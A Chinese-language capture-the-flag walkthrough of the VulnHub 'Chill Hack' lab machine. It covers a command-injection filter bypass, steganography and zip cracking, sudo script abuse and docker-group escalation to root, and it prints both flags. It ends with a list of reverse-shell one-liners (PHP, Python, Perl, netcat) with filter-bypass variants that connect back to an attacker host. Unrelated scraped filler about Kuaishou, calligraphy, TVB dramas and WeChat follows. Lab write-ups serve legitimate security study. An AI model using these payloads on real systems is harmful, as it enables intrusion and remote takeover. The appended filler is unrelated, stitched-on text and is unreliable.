作者:ch4nge
时间:2021.1.25
靶场信息:
地址:https://www.vulnhub.com/entry/chill-hack-1,622/
发布日期:2020年12月9日
难度:容易/中级
目标:获取标志Flag: 2 (User and root)
运行:VMware Workstation 16.x Pro(默认的NAT *** 模式,VMware比VirtualBox更好地工作)
hint :枚举
本次靶场使用VMware Workstation 16.x Pro进行搭建运行。将我的kali系统和靶机一样使用NAT *** 模式。本次演练使用kali系统按照渗透测试的过程进行操作。在渗透的时候需要使用命令执行得到一个A用户shell,通过一个图片信息得到B用户的ssh密码,并在B用户上找到了存在sudo缺陷的脚本得到C用户的shell,并拿到user-flag,而B用户在docker组,利用docker进行提权至root。文章有不对的地方欢迎师傅指正~
使用nmap进行扫描,得到ip 10.0.0.131
PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 3.0.3 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) 80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
下载文件,是一个提示
Anurodh told me that there is some filtering on strings being put in the command -- Apaar
首页
dirb http://10.0.0.131/
访问
http://10.0.0.131/secret/
漏洞来的太快就像龙卷风~命令执行漏洞
前面ftp里面拿到的提示说有字符串的过滤,想办法绕过
经过尝试发现可以使用管道符进行绕过
whoami|ls
whoami|php -r '$sock=fsockopen("10.0.0.129",8888);exec("/bin/bash -i <&3 >&3 2>&3");'
在/var/www/files路径中发现hacker.php
查看文件内容,得到提示
在黑暗中看!你会找到答案的
继续寻找可用信息,在/var/www/files/images路径找到hacker-with-laptop_23-2147985341.jpg
由于靶机是CTF模式,是有可能存在信息隐写的。看图片名字应该是有信息隐藏在图片里面了,使用python httpserver搭建服务,将文件下载到本地
发现使用steghide可以将信息提取出来,得到backup.zip,解密需要密码
steghide extract -sf hacker-with-laptop_23-2147985341.jpg
使用fcrackzip工具暴力破解zip密码,使用kali系统自带的/usr/share/wordlists/rockyou.txt字典
fcrackzip -D -u -p /usr/share/wordlists/rockyou.txt backup.zip
得到密码 pass1word
解压得到source_code.php
<html> <head> Admin Portal </head> <title> Site Under Development ... </title> <body> <form method="POST"> Username: <input type="text" name="name" placeholder="username"><br><br> Email: <input type="email" name="email" placeholder="email"><br><br> Password: <input type="password" name="password" placeholder="password"> <input type="submit" name="submit" value="Submit"> </form> <?php if(isset($_POST['submit'])) { $email=$_POST["email"]; $password=$_POST["password"]; if(base64_encode($password)=="IWQwbnRLbjB3bVlwQHNzdzByZA==") { $random=rand(1000,9999);?><br><br><br> <form method="POST"> Enter the OTP: <input type="number" name="otp"> <input type="submit" name="submitOtp" value="Submit"> </form> <?php mail($email,"OTP for authentication",$random); if(isset($_POST["submitOtp"])) { $otp=$_POST["otp"]; if($otp==$random) { echo "Welcome Anurodh!"; header("Location: authenticated.php"); } else { echo "Invalid OTP"; } } } else { echo "Invalid Username or Password"; } } ?> </html>
根据文件内容可以判断出这是登录页面的程序,判断输入的密码是否正确,正确密码的base64编码是
IWQwbnRLbjB3bVlwQHNzdzByZA==
解密:
? root@ch4nge ~/file/VulnHub/Chill_Hack echo -n "IWQwbnRLbjB3bVlwQHNzdzByZA==" |base64 -d
!d0ntKn0wmYp@ssw0rd#?
密码:!d0ntKn0wmYp@ssw0rd
猜测密码是ssh用户的,查看ssh用户名anurodh、apaar、aurick
分别使用ssh登录,在登录anurodh用户时成功
在/home/apaar路径发现local.txt文件,没有读取权限。尝试获取apaar用户权限或者root权限进行读取
使用sudo -l查看可以以sudo的身份运行的命令
anurodh@ubuntu:~$ sudo -l Matching Defaults entries for anurodh on ubuntu: env_reset, mail_badpass, secure_path=/usr/local/ *** in\:/usr/local/bin\:/usr/ *** in\:/usr/bin\:/ *** in\:/bin\:/snap/bin User anurodh may run the following commands on ubuntu: (apaar : ALL) NOPASSWD: /home/apaar/.helpline.sh
发现可以将/home/apaar/.helpline.sh作为apaar用户运行,且不需要输入密码
查看该文件,它会提示输入两次数据,然后将它们执行/dev/null,且第二次输入的命令可以被执行
这里使用apaar用户运行文件,并在第二次信息输入/bin/bash,以尝试获取apaar用户的shell
成功了!使用python3升级这个shell
python3 -c 'import pty; pty.spawn("/bin/bash")'
{USER-FLAG: e8vpd3323cfvlp0qpxxx9qtr5iq37oww}
LinEnum.sh是一个非常好用的脚本,有温馨提示,LinEnum脚本下载
在本地使用python HTTPServer搭建服务,在靶机的shell中下载LinEnum脚本
运行脚本,得知当前用户(anurodh)在docker用户组(apaar没有)
$ chmod +x LinEnum.sh $ https://www.freebuf.com/articles/web/LinEnum.sh
安利一个很好用的网站https://gtfobins.github.io/
在gtfobins搜索docker获取相关信息,得到提权命令,获取root权限
docker run -v /:/mnt --rm -it alpine chroot /mnt sh
升级交互式shell
python3 -c 'import pty; pty.spawn("/bin/bash")'
{ROOT-FLAG: w18gfpn9xehsgd3tovhk0hby4gdp89bg}
靶机很友好,网站的命令执行漏洞探测很简单,这里补充一下在此次反弹shell的时候可以用到的 ***
使用管道符绕过过滤
whoami|ls-->ls whoami|ls /home-->ls /home
php
whoami|php -r '$sock=fsockopen("10.0.0.129",8888);exec("/bin/bash -i <&3 >&3 2>&3");'
python3
whoami|python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.129",5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
perl
whoami|perl -e 'use Socket;$i="10.0.0.129";$p=5555;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
whoami|perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"10.0.0.129:5555");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
nc(netcat)
whoami|rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.129 5555 >/tmp/f
使用双引号绕过过滤
whoami""-->whoami ls""-->ls
反弹shell
rm"" /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.129 5555 >/tmp/f
使用分号绕过过滤
ls;whoami-->whoami ls;ls-->ls
反弹shell
ls;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.129 5555 >/tmp/f
现如今很多朋友都喜欢玩快手,可以拍一些有意思的小视频放在自己的快手上,新如今,新版的快手有一个直播功能,但是很多朋友不太会使用,那么快手怎么开直播呢?下面就来具体介绍一下快手开直播的方法。 快手怎么开...
很多盆友发觉很多人喜爱在办公室或小书房悬架书法字画来提示和鼓励自己。那麼这幅书法字画的实际意义是什么呢?它是掩藏才可以的暗喻,它的优点沒有曝露。借以提示大家调养好自身的内函,不张扬整体规划一些事儿,进...
此刻李添胜已附子信息网和tvb续约一年,将会再开拍3部新剧, 个中一部是有黄浩然,周丽淇主演的《我地如意狼君》 李添胜被称之为香港TVB电视剧金庸武侠剧集专业户。他是香港的金牌监制兼。 是...
手机微信显示信息"另一方正在输入", 你以为已经让你回应,实际上并并不是 推荐理由:移动互联的出現,给了结交软件许多 生长趋势的时机。它让客户能够随时的联络,不只节约成本而且进一步提高了沟通交...
QQ:1957692七、autossh免暗码登陆request.open('GET', 'http://api.spreaker.com/whoami'); <div class="ro...
奇迹暖暖奇迹大陆知识问答答案是什么?奇迹暖暖5月11日新开展的活动玩法奇迹大陆知识问答中,我们需要回答问题来获得奖励,这其中不少问题还是很难的, 相信不少玩家都不能完美地回答全部问题,因此小编带来了2...